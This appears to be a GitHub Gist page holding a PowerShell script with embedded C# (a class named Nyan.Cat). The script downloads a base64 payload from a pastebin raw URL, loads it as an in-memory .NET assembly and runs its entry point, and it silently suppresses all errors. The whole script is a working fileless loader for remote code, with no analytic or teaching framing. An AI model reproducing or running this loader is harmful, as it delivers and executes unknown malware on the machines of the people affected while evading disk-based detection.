Created
July 5, 2019 02:45
-
-
Save robpot891/0e8ed30cef973f5323c55432dcd7b48d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $code = @" | |
| using System.Net; | |
| using System.Reflection; | |
| using System; | |
| using System.Threading; | |
| namespace Nyan | |
| { | |
| public class Cat | |
| { | |
| public void Run() | |
| { | |
| using (WebClient wc = new WebClient()) | |
| { | |
| // new Thread(() => | |
| // { | |
| try | |
| { | |
| Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://pastebin.com/raw/vezkZ6VC"))); | |
| MethodInfo Metinf = asm.EntryPoint; | |
| object InjObj = asm.CreateInstance(Metinf.Name); | |
| object[] parameters = new object[1]; // C# | |
| if (Metinf.GetParameters().Length == 0) | |
| { | |
| parameters = null; // VB.NET | |
| } | |
| Metinf.Invoke(InjObj, parameters); | |
| } | |
| catch { return; } | |
| // }) | |
| // { IsBackground = false }.Start(); | |
| } | |
| } | |
| } | |
| } | |
| "@ | |
| Add-Type -TypeDefinition $code; | |
| $instance = New-Object Nyan.Cat; | |
| $instance.Run(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment